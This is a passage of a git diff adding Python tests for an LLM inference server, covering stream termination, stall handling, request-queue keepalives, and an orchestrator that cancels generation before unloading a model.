+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                stream_options = {"include_usage": True},
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            await _openai_passthrough_non_streaming(
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                monitor_id = monitor_id,
+            )
+
+            assert captured["json"]["stream"] is False
+            assert "stream_options" not in captured["json"]
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+
+        asyncio.run(_run())
+
     def test_passthrough_clean_eof_finalizes_monitor(self, monkeypatch):
         async def _run():
             result = await self._run_passthrough_stream(
@@ -3009,6 +6102,216 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_finish_without_done_closes_stream_early(self, monkeypatch):
+        # Some llama-server builds emit the finish chunk and then hold the HTTP
+        # stream open without sending [DONE]; the terminal classifier must end
+        # the client stream promptly instead of hanging on the open socket.
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}'
+                yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}'
+                await asyncio.Event().wait()  # upstream never closes
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+
+            async def _consume():
+                return [chunk async for chunk in response.body_iterator]
+
+            chunks = await asyncio.wait_for(_consume(), timeout = 2)
+            body = "".join(chunks)
+
+            assert '"finish_reason":"stop"' in body.replace(" ", "")
+            assert body.endswith("data: [DONE]\n\n")
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stall_after_finish_closes_cleanly(self, monkeypatch):
+        # include_usage keeps the stream open past the finish chunk waiting for
+        # the usage chunk; if that never arrives, the post-terminal grace path
+        # must close with a clean [DONE], not an in-band error.
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}'
+                yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}'
+                raise httpx.ReadTimeout("usage chunk never arrived")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                stream_options = {"include_usage": True},
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = [chunk async for chunk in response.body_iterator]
+            body = "".join(chunks)
+
+            assert '"type":"api_error"' not in body.replace(" ", "")
+            assert body.endswith("data: [DONE]\n\n")
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_stall_after_data_emits_error(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
+                raise httpx.ReadTimeout("upstream went silent")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = [chunk async for chunk in response.body_iterator]
+            body = "".join(chunks)
+
+            assert 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n' in body
+            assert '"finish_reason"' not in body.replace(" ", "")
+            assert '"type":"api_error"' in body.replace(" ", "")
+            assert "still processing the prompt" in body
+            assert body.endswith("data: [DONE]\n\n")
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "still processing the prompt" in entry["error"]
+            assert entry["reply"] == "hello"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
 
 class TestApiMonitorSafetensorsUsage:
     class _Request:
@@ -3317,6 +6620,29 @@ class TestApiMonitorAudioInput:
             assert entry["reply"] == "hello world"
             assert monitor.active_count() == 0
 
+            def failing_chunks():
+                yield "partial"
+                raise RuntimeError("generation failed")
+
+            self._patch_audio_backend(monkeypatch, failing_chunks())
+            error_monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", error_monitor)
+            error_response = await openai_chat_completions(
+                payload,
+                request = request,
+                current_subject = "test",
+            )
+            error_chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in error_response.body_iterator
+            ]
+
+            assert '"type": "server_error"' in error_chunks[-1]
+            assert error_chunks[-1].endswith("data: [DONE]\n\n")
+            [error_entry] = error_monitor.snapshot()
+            assert error_entry["status"] == "error"
+            assert error_monitor.active_count() == 0
+
         asyncio.run(_run())
 
     def test_non_gguf_tts_auto_route_records_monitor(self, monkeypatch):
@@ -3512,6 +6838,15 @@ class TestApiMonitorAudioInput:
 class TestResponsesChatTemplateKwargs:
     _messages = [ChatMessage(role = "user", content = "What is 100 - 67?")]
 
+    class _Request:
+        app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/responses")
+        method = "POST"
+
+        async def is_disconnected(self):
+            return False
+
     def test_enable_thinking_lifted_from_extra_body(self):
         payload = ResponsesRequest(
             model = "qwen-local",
@@ -3544,6 +6879,113 @@ class TestResponsesChatTemplateKwargs:
         chat_req = _build_chat_request(payload, self._messages, stream = False)
         assert chat_req.enable_thinking is None
 
+    def test_responses_stream_queued_request_sends_keepalive_before_upstream(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fail_send(*_args, **_kwargs):
+                raise AssertionError("responses upstream must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                base_url = "http://llama.responses.test",
+                context_length = 4096,
+                effective_parallel_slots = 1,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send)
+
+            queue = get_llama_admission_queue("http://llama.responses.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+            monitor_id = monitor.start(
+                endpoint = "/v1/responses",
+                method = "POST",
+                model = "qwen-local",
+                prompt = "hi",
+            )
+            payload = ResponsesRequest(model = "qwen-local", input = "hi", stream = True)
+
+            response = await _responses_stream(
+                payload,
+                [ChatMessage(role = "user", content = "hi")],
+                self._Request(),
+                monitor_id,
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_responses_stream_cancel_after_created_finalizes_monitor_and_slot(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fail_send(*_args, **_kwargs):
+                raise AssertionError("responses upstream must not start after created cancel")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                base_url = "http://llama.responses.test",
+                context_length = 4096,
+                effective_parallel_slots = 1,
+                _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fail_send)
+            monitor_id = monitor.start(
+                endpoint = "/v1/responses",
+                method = "POST",
+                model = "qwen-local",
+                prompt = "hi",
+            )
+            payload = ResponsesRequest(model = "qwen-local", input = "hi", stream = True)
+
+            response = await _responses_stream(
+                payload,
+                [ChatMessage(role = "user", content = "hi")],
+                self._Request(),
+                monitor_id,
+            )
+            iterator = response.body_iterator
+            first = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            assert "event: response.created" in first
+
+            with pytest.raises(asyncio.CancelledError):
+                await iterator.athrow(asyncio.CancelledError())
+
+            assert get_llama_admission_queue("http://llama.responses.test").snapshot().active == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
 
 # =====================================================================
 # GGUF chat-template role alternation: coalesce orphaned user turns left
diff --git a/studio/backend/tests/test_orchestrator_unload_cancel.py b/studio/backend/tests/test_orchestrator_unload_cancel.py
new file mode 100644
index 0000000000..3a36500aee
--- /dev/null
+++ b/studio/backend/tests/test_orchestrator_unload_cancel.py
@@ -0,0 +1,1715 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""unload_model cancels an in-flight generation instead of waiting it out.
+
+The sequential subprocess used to queue ``unload`` behind a running ``generate``,
+hanging the UI. ``unload_model`` now cancels first (the mp.Event the worker checks
+each token) and takes ``_gen_lock`` before the unload round-trip.
+"""
+
+import threading
+import time
+
+import pytest
+
+from core.inference import orchestrator as orch_mod
+from core.inference.orchestrator import InferenceOrchestrator
+
+
+def _bare_orchestrator():
+    """An orchestrator without the real __init__ subprocess/network."""
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    o._gen_lock = threading.Lock()
+    o._cancel_event = threading.Event()  # stands in for the mp.Event
+    o._drain_event = threading.Event()  # stands in for the unload-drain mp.Event
+    o._proc = object()  # truthy so _ensure_subprocess_alive reports alive
+    o._cmd_queue = object()
+    o._resp_queue = object()
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+    o.active_model_name = "m"
+    o.models = {"m": {}}
+    o.loading_models = set()
+    return o
+
+
+def test_adapter_control_raises_stream_errors(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(
+        o,
+        "_generate_dispatched",
+        lambda **_kwargs: iter([orch_mod.GenStreamError("Error: adapter failed")]),
+    )
+
+    with pytest.raises(RuntimeError, match = "adapter failed"):
+        list(o.generate_with_adapter_control(use_adapter = False))
+
+    closed = []
+
+    def _stream(**_kwargs):
+        try:
+            yield "token"
+            yield "late token"
+        finally:
+            closed.append(True)
+
+    monkeypatch.setattr(o, "_generate_dispatched", _stream)
+    generator = o.generate_with_adapter_control(use_adapter = False)
+    assert next(generator) == "token"
+    generator.close()
+    assert closed == [True]
+
+
+def test_worker_closes_cancelled_generator_before_gen_done():
+    from core.inference.worker import _handle_generate
+
+    events = []
+
+    class _Backend:
+        last_generation_stats = None
+
+        def generate_with_adapter_control(self, **_kwargs):
+            try:
+                yield "token"
+                yield "late token"
+            finally:
+                events.append("closed")
+
+    class _Responses:
+        def __init__(self):
+            self.items = []
+
+        def put(self, item):
+            if item["type"] == "gen_done":
+                assert events == ["closed"]
+            self.items.append(item)
+
+    responses = _Responses()
+    cancel = threading.Event()
+    cancel.set()
+    _handle_generate(
+        _Backend(),
+        {"request_id": "r1", "messages": [], "use_adapter": False},
+        responses,
+        cancel,
+    )
+
+    assert [item["type"] for item in responses.items] == ["gen_done"]
+
+
+def test_unload_cancels_inflight_generation_then_unloads(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    # A generation holds _gen_lock and releases it only once cancelled.
+    o._gen_lock.acquire()
+
+    def releaser():
+        o._cancel_event.wait(timeout = 5)  # released only after the cancel fires
+        o._gen_lock.release()
+
+    t = threading.Thread(target = releaser)
+    t.start()
+
+    start = time.monotonic()
+    ok = o.unload_model("m")
+    elapsed = time.monotonic() - start
+    t.join(timeout = 5)
+
+    assert ok is True
+    assert o._cancel_event.is_set(), "generation must be cancelled before the unload"
+    assert {"type": "unload", "model_name": "m"} in sent
+    assert o.active_model_name is None
+    assert "m" not in o.models
+    # Waited on the released-after-cancel lock, not a full generation.
+    assert elapsed < 2.0
+
+
+def test_unload_no_active_generation_unloads_normally(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert {"type": "unload", "model_name": "m"} in sent
+    assert o.active_model_name is None
+    # Lock released for the next caller.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_unload_falls_back_to_shutdown_when_generation_wont_yield(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2)
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send unload when wedged"))
+
+    # A wedged worker never releases _gen_lock, even after the cancel.
+    o._gen_lock.acquire()
+
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert shutdown, "should tear the subprocess down to free the GPU"
+    assert o.active_model_name is None
+
+
+def test_unload_tears_down_when_compare_dispatcher_wedged(monkeypatch):
+    # A wedged compare-mode generation bypasses _gen_lock, so the acquire guard
+    # misses it and _send_cmd/_wait_response would hang on resp_queue. Unload must
+    # instead tear the subprocess down, like the wedged locked-generation path.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_DISPATCH_IDLE_TIMEOUT", 0.2)
+
+    # A live dispatcher whose mailbox never drains == a wedged compare-mode gen.
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {"req-1": object()}
+
+    class _AliveThread:
+        def is_alive(self):
+            return True
+
+    o._dispatcher_thread = _AliveThread()
+
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send unload with a wedged dispatcher")
+    )
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: pytest.fail(
+            "must not wait on resp_queue with a wedged dispatcher"
+        ),
+    )
+
+    # _gen_lock is free (compare mode never took it), so the acquire guard passes.
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert shutdown, "should tear the subprocess down to free the GPU"
+    assert o.active_model_name is None
+    assert "m" not in o.models
+
+
+def test_consume_token_stream_bails_when_subprocess_swapped(monkeypatch):
+    # After a wedged-worker teardown a fresh load swaps _proc/_resp_queue; the
+    # still-live generation thread must detect the swap and bail, not re-block on
+    # the new queue while holding _gen_lock.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_subprocess_crash_message", lambda ctx: "inference subprocess restarted"
+    )
+
+    def read_one(timeout):
+        o._proc = object()  # simulate the reload swapping the subprocess
+        return None
+
+    gen = o._consume_token_stream(read_one, lambda: None, crash_context = "generation")
+    msg = next(gen)
+
+    assert "restarted" in msg
+    with pytest.raises(StopIteration):
+        next(gen)
+
+
+def test_unload_pending_clears_after_unload(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: None)
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    o.unload_model("m")
+
+    # The flag must not leak past the unload, else every later generation bails.
+    assert o._unload_pending is False
+
+
+def test_generation_bails_when_unload_pending(monkeypatch):
+    # Winning the _gen_lock handoff mid-switch must not start on the outgoing model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    o._unload_pending = True
+
+    out = list(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    # It released (or never held) the lock, so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_dispatched_generation_bails_when_unload_pending(monkeypatch):
+    # Compare-mode bypasses _gen_lock, so it must early-out on a pending switch or
+    # it enqueues a generate on the outgoing model and delays the unload.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_start_dispatcher", lambda: pytest.fail("must not start a generation mid-switch")
+    )
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch")
+    )
+    o._unload_pending = True
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+
+
+def test_audio_input_generation_bails_when_unload_pending(monkeypatch):
+    # The audio path takes _gen_lock but must also skip the outgoing model mid-switch.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch")
+    )
+    o._unload_pending = True
+
+    out = list(o._generate_audio_input_inner(audio_array = [0.0, 0.1]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    # Lock released so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_audio_response_bails_when_unload_pending(monkeypatch):
+    # TTS (generate_audio_response) is blocking, so it RAISES rather than starting on the
+    # outgoing model mid-switch; it takes _gen_lock and must release it either way.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send audio generate mid-switch")
+    )
+    o._unload_pending = True
+
+    with pytest.raises(RuntimeError, match = "unload"):
+        o.generate_audio_response("hello")
+
+    # Lock released so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+# ----------------------------------------------------------------------------
+# Preserve unload cancels across the queue handoff (drain_event) — items #1/#4.
+# ----------------------------------------------------------------------------
+
+
+def test_worker_drain_skip_emits_cancelled_gen_done_when_draining():
+    # The worker clears cancel_event at the start of every generate, so a cancel set
+    # while a generate is still queued would be lost when it is dequeued. drain_event
+    # is the durable signal: while it is set the worker skips the generate (emitting an
+    # immediate gen_done so the stream/mailbox drains) instead of running it.
+    import queue as _queue
+
+    from core.inference.worker import _drain_skip_generate
+
+    drain = threading.Event()
+    rq: _queue.Queue = _queue.Queue()
+    cmd = {"type": "generate", "request_id": "r1"}
+
+    # Not draining -> run normally (do not skip, emit nothing).
+    assert _drain_skip_generate(cmd, rq, drain) is False
+    assert rq.empty()
+    # Missing event (older worker) -> also runs normally.
+    assert _drain_skip_generate(cmd, rq, None) is False
+    assert rq.empty()
+
+    # Draining -> skip and emit a cancelled gen_done for this request_id.
+    drain.set()
+    assert _drain_skip_generate(cmd, rq, drain) is True
+    resp = rq.get_nowait()
+    assert resp["type"] == "gen_done"
+    assert resp["request_id"] == "r1"
+    assert resp["cancelled"] is True
+
+
+def test_worker_generate_branches_check_drain_before_clearing_cancel():
+    # Both worker command loops (MLX fast-path + GPU) must consult the drain skip
+    # before clearing cancel_event and running, so a queued generate can't clear an
+    # unload-initiated cancel and run the outgoing model to completion. Each loop
+    # checks the drain twice -- once before the clear and once after -- so a
+    # drain+cancel pair that lands in the window between them is still caught.
+    import inspect
+
+    from core.inference import worker
+
+    src = inspect.getsource(worker.run_inference_process)
+    assert src.count("_drain_skip_generate(cmd, resp_queue, drain_event)") == 4
+
+
+def test_worker_generate_rechecks_drain_after_clearing_cancel():
+    # The exact interleaving item #3 describes: the drain check reads unset, then the
+    # parent sets drain+cancel for an unload, then the worker clears cancel_event
+    # (erasing that cancel). A second drain check *after* the clear catches it and
+    # skips the generate instead of running the outgoing model to completion.
+    import queue as _queue
+
+    from core.inference.worker import _drain_skip_generate
+
+    drain = threading.Event()
+    cancel = threading.Event()
+    rq: _queue.Queue = _queue.Queue()
+    cmd = {"type": "generate", "request_id": "r1"}
+
+    # 1. Pre-clear drain check: not draining yet -> run (no skip, no emit).
+    assert _drain_skip_generate(cmd, rq, drain) is False
+    assert rq.empty()
+
+    # 2. Parent starts an unload: sets drain, then cancel (orchestrator order).
+    drain.set()
+    cancel.set()
+
+    # 3. Worker clears cancel at the start of the generate -- erasing the cancel.
+    cancel.clear()
+    assert not cancel.is_set()
+
+    # 4. Post-clear drain re-check catches the erased cancel and skips.
+    assert _drain_skip_generate(cmd, rq, drain) is True
+    resp = rq.get_nowait()
+    assert resp["type"] == "gen_done" and resp["cancelled"] is True
+
+
+def test_unload_sets_drain_event_during_switch_and_clears_after(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+
+    seen = {}
+
+    def record_send(cmd):
+        # drain_event must be set for the whole unload round-trip so any generate the
+        # worker dequeues in this window is skipped, not run.
+        seen["drain_set"] = o._drain_event.is_set()
+
+    monkeypatch.setattr(o, "_send_cmd", record_send)
+
+    assert o.unload_model("m") is True
+    assert seen.get("drain_set") is True
+    # Cleared on exit so a later generation (e.g. unloading a non-active model, or a
+    # reused subprocess) is not wrongly skipped.
+    assert o._drain_event.is_set() is False
+
+
+def test_unload_clears_drain_event_even_on_wedged_teardown(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2)
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send when wedged"))
+
+    # A wedged worker never releases _gen_lock; unload tears the subprocess down. The
+    # real teardown nulls _drain_event, so emulate that so the finally exercises its guard.
+    def fake_shutdown(timeout = 5):
+        o._drain_event = None
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", fake_shutdown)
+    o._gen_lock.acquire()
+
+    assert o.unload_model("m") is True  # must not raise in the drain_event clear
+
+
+# ----------------------------------------------------------------------------
+# Recheck the active model after the lock wait — items #2/#3.
+# ----------------------------------------------------------------------------
+
+
+def test_generation_rechecks_model_after_lock_wait(monkeypatch):
+    # A request passes the pre-lock active-model check, then blocks on _gen_lock while
+    # an unload clears/swaps the model. Even if _unload_pending was already reset (the
+    # unload's finally runs after the lock release), the under-lock active-model recheck
+    # must make it bail instead of sending a generate to the wrong/unloaded backend.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate on a swapped/unloaded model")
+    )
+
+    reached_lock = threading.Event()
+    # _wait_dispatcher_idle runs after the pre-lock check and before acquiring the lock;
+    # signalling here means the generator captured the model and is about to block.
+    monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1])
+
+    o.active_model_name = "m"
+    o._unload_pending = False
+    o._gen_lock.acquire()  # stand in for an in-flight unload holding the lock
+
+    out: list = []
+
+    def run():
+        out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    t = threading.Thread(target = run)
+    t.start()
+    assert reached_lock.wait(timeout = 5)
+    # Unload finished: model swapped, pending already cleared. Release the lock.
+    o.active_model_name = "other"
+    o._gen_lock.release()
+    t.join(timeout = 5)
+
+    assert out and any("unloaded" in chunk.lower() for chunk in out)
+
+
+def test_generation_rechecks_model_when_unloaded_to_none(monkeypatch):
+    # Same race, but the unload left no active model (a plain unload, not a switch).
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate after the model was unloaded")
+    )
+    reached_lock = threading.Event()
+    monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1])
+
+    o.active_model_name = "m"
+    o._unload_pending = False
+    o._gen_lock.acquire()
+
+    out: list = []
+    t = threading.Thread(
+        target = lambda: out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+    )
+    t.start()
+    assert reached_lock.wait(timeout = 5)
+    o.active_model_name = None
+    o._gen_lock.release()
+    t.join(timeout = 5)
+
+    assert out and any("unloaded" in chunk.lower() for chunk in out)
+
+
+# ----------------------------------------------------------------------------
+# Don't unload a stale model name (worker's active-model fallback) — item #5.
+# ----------------------------------------------------------------------------
+
+
+def test_unload_of_stale_name_does_not_touch_active_model(monkeypatch):
+    # If the named model isn't loaded (e.g. a concurrent load already swapped in a
+    # different one), unload must not send a command the worker would satisfy by
+    # unloading its *active* model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name")
+    )
+    o.active_model_name = "current"
+    o.models = {"current": {}}
+
+    assert o.unload_model("stale") is True
+    # The active model is left intact.
+    assert o.active_model_name == "current"
+    assert "current" in o.models
+
+
+def test_unload_matches_active_model_case_insensitively(monkeypatch):
+    # active_model_name can differ in case from the raw model_path a client sends
